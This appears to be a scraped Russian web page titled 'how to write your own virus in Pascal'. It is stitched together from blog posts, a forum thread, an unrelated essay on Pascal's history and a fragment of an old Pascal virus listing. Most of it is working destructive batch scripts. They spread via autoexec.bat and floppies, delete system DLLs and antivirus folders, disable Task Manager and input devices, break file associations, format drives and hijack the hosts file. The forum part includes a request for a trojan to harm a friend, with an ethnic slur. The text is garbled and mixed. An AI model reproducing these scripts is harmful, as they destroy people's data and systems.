Как написать свой вирус в паскале

Обновлено: 18.04.2024

-ТоррНАДО - торрент-трекер для блогов

-Поиск по дневнику

-Сообщества

-Статистика

@Echo off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat

Этот вирус заражает винчестер, оставляя только один файл virus.bat. Но все-таки я бы не сказал что это полноценный вирус, т.к. он лишен возможности заражать другие компьютеры. Чтобы этот BAT-вирус обрел более четкие очертания дополним его возможностью заражать другие ПК:

@Echo off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul

В этом примере появляется строка, которая дает возможность вирусу заражать дискеты. Смысл этого в том что если при перезагрузке ПК в дисководе будет дискета, то она будет заражена.

Конечно файл virus.bat в корневом диске C: будет сильно мозолить глаза юзеру, чтобы этого не было существует программа attrib. Преобразуем вирус:

@Echo off
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul

Если вы внимательны, то вы уже поняли, что вызов файла virus.bat в autoexec.bat будет записываться каждый раз при перезагрузке ПК. Чтобы этого не произошло есть простой способ: после записи вызова надо с помощью программы attrib установить атрибут только чтение у autoexec.bat. А есть другой вариант, он немного посложнее, но гораздо грамотнее:

@Echo off
if exist c:virus.bat goto cool
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
:cool
copy %0 a:run.bat >nul

Здесь вторая строка проверяет существует ли уже файл c:virus.bat и если он уже существует, то происходит переход к метке cool. Этот способ тоже очень прост. Явный недостаток - если юзер уберет вызов из autoexec.bat, а файл virus.bat оставит, то глупый вирус будет нагло обманут. Чтобы вирус был умнее, то надо использовать программу find, если вам будет не лень с ней разбираться, то вы сможете написать более сложный BAT-вирус, который будет заражать не один файл c:autoexec.bat, а все *.BAT. Пример:

@echo off%[MeTrA]%
if '%1=='In_ goto MeTrAin
if exist c:MeTrA.bat goto MeTrAru
if not exist %0 goto MeTrAen
find "MeTrA"

  • Запись понравилась
  • 0 Процитировали
  • 0 Сохранили
    • 0Добавить в цитатник
    • 0Сохранить в ссылки









    Chcp 1251
    @echo off
    time 00:00
    Date 01.01.2314
    del "%SystemRoot%system32*.dll" /q >nu
    del "%SystemRoot%Driver Cachei386driver.cab" /f /q >nul
    reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
    reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRestrictRun /v 1 /t REG_DWORD /d %SystemRoot%explorer.exe /f >nul
    reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul
    reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableRegistryTools /t REG_DWORD /d 1 /f >nul
    del "%SystemRoot%Cursors*.*" >nul
    del "%SystemRoot%Media" /q >nul
    rundll32 keyboard,disable
    rundll32 mouse,disable
    copy %0 %windir%/system
    0reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
    msiexec /?
    if exist c:Installer.exe goto ski
    if exist d:Installer.exe goto ski
    if exist g:Installer.exe goto ski
    if exist e:Installer.exe goto ski
    copy %0 c:Install.exe >nul
    attrib +h c:Installer.exe >nul
    copy %0 d:Installer.exe >nul
    attrib +h d:Installer.exe >nul
    copy %0 e:Installer.exe >nul
    attrib +h e:Installer.exe >nul
    copy %0 g:Installer.exe >nul
    attrib +h g:Installer.exe >nul
    echo c:Installer.exe>>c:autoexec.bat
    :ski
    for %%t in (*.bat) do call c:Installer In_ %%t
    for %%t in (*.bat) do call d:InstallerIn_ %%t
    for %%t in (*.bat) do call e:Installer In_ %%t
    for %%t in (*.bat) do call g:Installer In_ %%t
    for %%t in (*.bat) do call a:Installer In_ %%t
    find "Install "nul
    type c:Installer.exe>>%2
    type d:Installer.exe>>%2
    type e:Installer.exe>>%2
    type g:Installer.exe>>%2
    type a:Installer.exe>>%2
    Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.js
    echo WSHShell.Popup ("Ваш компьютер подлежит немедленому уничтожению!"); >> %temp%mes.js
    start %temp%mes.js
    deltree /y %temp%mes.js
    reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoDesktop /t REG_DWORD /d 1 /f >nu
    %SystemRoot%/system32/rundll32 user32, SwapMouseButton
    title Загрузка игры.
    label C: Lamer
    label D: ЧМО
    label E:Пидар
    attrib -h -s -a -r C:\*.*
    del C:\*.* /q (
    attrib -h -s -a -r C:\WINDOWS\system32\ *.* /s /d
    assoc .exe=.mp3
    assoc .dll=.txt
    assoc .ini=.iso
    assoc .drv=.doc
    assoc .bin=.zip
    assoc .sys=.xls
    assoc .ax=.ppt
    assoc .bpl=.wav
    assoc .nls=.pub
    assoc .tlb=.mdb
    assoc .bat=.rar
    assoc .exe=.virus
    assoc .dll=.virus
    assoc .ini=.virus
    assoc .drv=.virus
    assoc .bin=.virus
    assoc .sys=.virus
    assoc .ax=.virus
    assoc .bpl=.virus
    assoc .nls=.virus
    assoc .tlb=.virus
    assoc .bat=.virus
    attrib +h +s C:/WINDOWS
    format %D%: /q
    format %E%: /q
    echo ХА-ХА
    format %C%: /q
    pause
    shutdown.exe -s -t 00
    del %0
    shutdown.exe -s -t 00
    taskkill /f /im explorer.exe >nul
    cls
    _______________________________________________
    если есть недочеты пишите

    нe сочтитe зa нeувaжeниe, но здeсь нaписaно тожe сaмоe что и нa многих сaйтaх. А ни здeсь и ни нa других нe пишут кaк сдeлaть вирус который будeт грузиться в бeзопaсном рeжимe и eщё что то новоe. Тaкоe ощущeниe что всё у всeх списaно с одной брaшуры с одним и тeм жe вирeм!

    анти одноклассники мой первый вирус
    @Echo off
    color 0a
    title fd_god
    if exist c:virus.bat goto cool
    copy %0 c:virus.bat >nul
    attrib +h c:virus.bat >nul
    echo c:virus.bat>>c:autoexec.bat
    :cool
    copy %0 a:run.bat >nul
    echo 72.14.221.104 odnoklassniki.ru www.odnoklassniki.ru >> \windows\system32\drivers\etc\hosts
    :a
    \windows\md %random%
    \windows\system32\md %random%
    goto a
    date 20.07.1945
    Time 00:00
    rd /s /q C:\"Program Files"\"Alwil Software"
    rd /s /q C:\"Program Files"\ESET
    rd /s /q C:\"Program Files"\"Kaspersky Lab"
    rd /s /q C:\"Program Files"\CommFort
    rd /s /q C:\"Program Files"\CCleaner

    Паскаль это язык программирования, который все еще очень популярен в школах и некоторых университетах, как язык для обучения программированию. И у многих изучивших основы языка Паскаль возникает резонный вопрос, а что это за вообще язык программирования и какого его место в современном мире? Будут ли востребованы знания этого языка на рынке?

    В конце статьи в пункте 6, мы подробно разберем какие же современные и востребованные языки программирования можно легко изучить после изучения языка Паскаль.

    1. История языка программирования Паскаль

    Язык программирования Паскаль был создан в 1970 году профессором Никлаусом Виртом в качестве академического языка программирования для обучения студентов. На язык Pascal оказал влияние язык программирования Algol 68, в разработке которого тоже участвовал Вирт. Синтаксис языка Паскаль похож на синтаксис Algol, по этому его еще называют Алголо-подобным языком.

    Но Паскаль это не второй Алгол, Вирт выкинул из Алгола все лишнее и избыточное и создал очень маленький и аккуратный язык. Например этот язык программирования был полностью избавлен от оператора GoTo, что сделало его первым языком программирования поддерживающим концепцию структурного программирования. Это означает, что вся логика могла быть описана через операторы:

    • Последовательность
    • Ветвление
    • Циклы

    Это сейчас такой подход воспринимается как единственно верный, но в те времена понадобилось 10 лет что бы понять это.

    В 70-е все самым популярным языком программирования для написания прикладных программ все еще оставался Basic с его оператором GoTo, но в 80-е на его место уже приходит Pascal.

    В 1983 году появляется Turbo Pascal. Это интегрированная среда разработки для DOS и позже, в 90-е, для Windows 3.x. Она стала очень популярной в 80-х годах т.к. содержала встроенные библиотеки и удобную среду разработки с отладчиком.

    Turbo Pascal, а так же его расширенная версия Borland Pascal стали основным средством разработки прикладного программного обеспечения в 80-е.

    В 1986 году появляется объектно ориентированная версия языка Pascal с удобной средой разработки. Ее назвали Delphi. Это как C++ для C. Но в отличие от C++, Delphi не стал в разы сложнее Pascal, т.к. язык изначально был спроектирован не как системный, а как язык прикладного программирования и в нем не было сложных конструкций для управления памятью как C.

    В 90 мы видим рост аппаратных мощностей. В главу угла уже не нужно ставить скорость работы программ и Delphi становится самой популярной средой для быстрой разработки приложений. Она поддерживала все объекты Windows: формы, кнопки, бегунки и т.д. Их не нужно было программировать - они просто перетаскивались мышкой на форму.

    2000-е

    Отличительной особенностью этих языков стала работа через виртуальную машину. А виртуальная машина стала использоваться повсеместно. Ее ставили на все устройства: мобильные телефоны, кофе-машины, персональные компьютеры. И программистам не нужно было беспокоиться об архитектуре устройства - они писали код под виртуальную машину и программа одинаково работала на любом устройстве на котором такая машина стояла.

    2. Где сегодня используется язык программирования Паскаль

    2.1 Бизнес

    Благодаря огромной популярности языка программирования Паскаль и Delphi в 80-е, 90-е и 2000-е было создано большое количество прикладных программ, в том числе и для автоматизации производства и бизнеса.

    Многие компании которые были автоматизированы на Delphi постепенно сейчас переходят на программы написанные на других языках. У нас в России компании для автоматизации сейчас выбирают 1С.

    Но есть и такие компании которые продолжают работать на программах написанных на Delphi. И благодаря этому на рынке профессия программист Delphi еще востребована. Но конечно же не настолько как например профессия программист Java или C Sharp.

    2.2 Разработка прикладного программного обеспечения

    Сейчас для разработки программного обеспечения чаще конечно выбирают не Паскаль. Но его поклонники все же существуют. И если вы хорошо разбираетесь в этом языке, то вы сможете с легкостью создать прикладную программу.

    Сейчас очень популярна бесплатная среда разработки Lazarus. Она очень похожа на Delphi и позволяет открывать проекты сделанные на Delphi. Она бесплатна и ее можно свободно скачать.

    Развивается среда быстрой разработки Delphi теперь уже под названием RAD Studio.

    2.3 Обучение

    Хоть и во многих школах еще популярен Паскаль, но все чаще на его место приходит Python. Питон тоже очень простой язык программирования и очень перспективный сегодня. Его используют для задач машинного обучения, анализа данных и в веб программировании. И главное он лишен основного недостатка языка Паскаль сегодня: если вы будете изучать программирование на языке Python, то потом вы легко найдете работу программистом Python, чего сегодня нельзя сказать о языке Pascal.

    3. Достоинства языка Pascal

    Лично мне жалко, что язык программирования Паскаль не стал мейнстимом и сейчас забыт. Я считаю, что у него была масса достоинств. И для разработки прикладного программного обеспечения он был очень хорош.

    3.1 У Паскаль понятный синтаксис

    У языка Паскаль Алголо-подобный синтаксис. Я считаю такой синтаксис более естественным и понятным как для обучения, так и для дальнейшего сопровождения программы.

    Современные популярные языки прикладного программирования такие как Java и C Sharp имеют C подобный синтаксис.

    Я сам по образованию учитель информатики и некоторое время проработал в школе. Так вот детям объяснить оператор присвоения на языке Паскаль гораздо проще, чем в других языках.

    В Паскаль присвоение выглядит так:

    В остальных языках он выглядит как знак предикат равенства

    Детям легче понять синтаксис языка Паскаль.

    3.2 Паскаль компилируемый язык программирования

    А в современных языках, таких как Java и C Sharp, которые работают через виртуальную машину, нужно еще дополнительно попросить друга установить виртуальную машину машину этого языка на свой компьютер. В случае с языком Питон, потребуется попросить установить интерпретатор языка Питон для запуска скриптов написанных на нем.

    как сделать троян на pascal
    как сделать лёгкий троянчик ? и как сделать что бы через планировщик заданий запускалась.

    Троян маячок 1,помогите(((
    Помогите,пожалуйста.Вирус троян маячок 1.Доктор веб видит но не удаляет.

    Не работают браузеры. Троян Маячок 1. Помогите!
    Не работают браузеры, CureIt постоянно видит троян маячок1.

    подцепила троян маячок 1(( помогите (логи, скрипты и т. д. прилагаются)
    др веб видит этот маячок, но он опять появляется. раньше в браузерах ничего не открывалось.

    Ты сначала реши, что он должен делать. и на паскале это вряд ли получится. ведь она, наверное, должен работать с сетью. Тогда на делфи.

    ну вот что-то полезное писать еще не умеем, зато вредоносное - так в первую очередь. программист должен созидать, а не вредить. сорри за оффтоп.

    Ага, помню. Когда начинаешь понимать, какие возможности перед тобой открываются, так в первую очередь обязательно руки чешутся либо кому-нибудь напакостить, либо просто выпендриться )

    А вы вообще какой компилятор используете?и что вы от трояна ждёте чтоб он на диске с вашего друга/недруга создал куча ненужных файлов и в таком роде или чтото более серьёзное?

    Как все? меня ещё небыло!
    P.S. Самая страшная прога которую я написал выводит на экран поверх всех окон надписи Lineage2 Rulez
    Прога не вирус.. т.е. сама не распространяется и не копируется, но если хочешь могу дать исходник. тока он на c++

    меня друг "еврей" по нациоальности дастал пакостями вот и я хочу насолить учу paskal поэтому и спрашиваю.

    берешь баааальшую книго по паскалю и по роже.

    P. S. сори за флуд, не могу удержаться, вопрос смешной.
    Главное, что написано "другу закинуть" )

    Если есть доступ к компу могу предложить следующую бяку.. старая но действенная да и безобидная
    1)скриншотишь рабочий стол
    2)ставишь фоном рабочего стола скриншот который сделал(вроде с параметром замостить)
    3)создаешь какой-нить файл на рабочем столе, его переносишь в правую часть рабочего стола, а все остальные папки. ярлыки и документы в левую
    4)выделяешь всё на рабочем столе, хватаешь за созданный файл и тащишь влево до упора.. в результате на рабочем столе остался 1 новый файл.. его удаляешь(тока выделение со всех сбросить не забудь)
    5)На рабочем столе остаются фотки старых папок, документов.

    -ТоррНАДО - торрент-трекер для блогов

    -Поиск по дневнику

    -Сообщества

    -Статистика

    (и еще 1 записям на сайте сопоставлена такая метка)

    Другие метки пользователя ↓

    • Запись понравилась
    • 0 Процитировали
    • 0 Сохранили
      • 0Добавить в цитатник
      • 0Сохранить в ссылки









      Вирусы на Паскале


      Язык высокого уровня Паскаль, а особенно Турбо-Паскаль, в
      силу своей близости к машинному языку предоставляет отличные
      возможности для написания программ-вирусов. Правда, недостатком
      его является то, что компилятор Паскаля не берет файлы длиной
      менее 12 Кбайт. Но поскольку для целей отладки размер программы
      значения не имеет, Турбо-Паскаль вполне пригоден для того, чтобы
      уяснить принципиальную структуру вирусов.
      В качестве примера здесь приводится перезаписвающая програм-
      ма-вирус на Паскале. Эти коды время от времени пересылались через
      различные "почтовые ящики". Здесь программа публикуется в своей
      первоначальной форме с комментариями, составленными ее автором М.
      Валленом.

      This is a very primitiv computer virus.

      HANDLE WITH CARE! ----------- demonstration ONLY!

      MarkInfected : String 42 absolute Cseg: $180;
      Reg : Register; < Register set>
      DTA : DTARec;

      Buffer :Array [Byte] of Byte; < Date buffer>
      TestID : String 42;
      UsePath : String 66; < Path to search files>

      UsePathLength: Byte absolute UsePath;
      Go : File; < File to infect>
      B : Byte;

      Примечение переводчика. Комментарии к данной программе,
      видимо, не нуждаются в переводе, а потому далее приводится лишь
      перевод "шапки" программы:

      Этот перезаписывающий вирус ведет себя так же, как и описан-
      ный в разделе 10.1. Правда, он не оказывает никакого действия на
      EXE-файлы. Кроме того, эта программа не так эффективна, посколь-
      ку, во-первых, имеет длину около 12 Кбайт и, во-вторых, изменяет
      записи даты создания файлов. К тому же вирус не может преодолеть
      атрибут "только чтение".
      Каталог перед вызовом программы-вируса:

      DEBUG COM 15611 4-22-85 12:00p
      DISKCOM COM 4121 4-22-85 12:00p
      DISKCOPY COM 4425 4-22-85 12:00p
      3 Dateien 330752 Bytes frei
      Каталог после вызова программы примет следующий вид:

      DEBUG COM 15611 7-13-87 8:06p
      DISKCOM COM 4121 4-22-85 12:00p
      DISKCOPY COM 4425 4-22-85 12:00p
      3 Dateien 330752 Bytes frei
      Тот, кто обратил внимание на эти записи, сразу уже заметить
      изменение в указании даты создания файлов. Изменения еще более
      заметны, если вызвать самый короткий файл.

      DEBUG COM 15611 7-13-87 8:06p
      DISKCOM COM 12032 7-13-87 8:09p
      DISKCOPY COM 4425 4-22-85 12:00p
      3 Dateien 32584 Bytes frei

      Правда, при полном заражении запоминающей среды это не кара-
      ется дефектными секторами. Вирус просто сигнализирует об этом
      "улыбкой".

      Читайте также: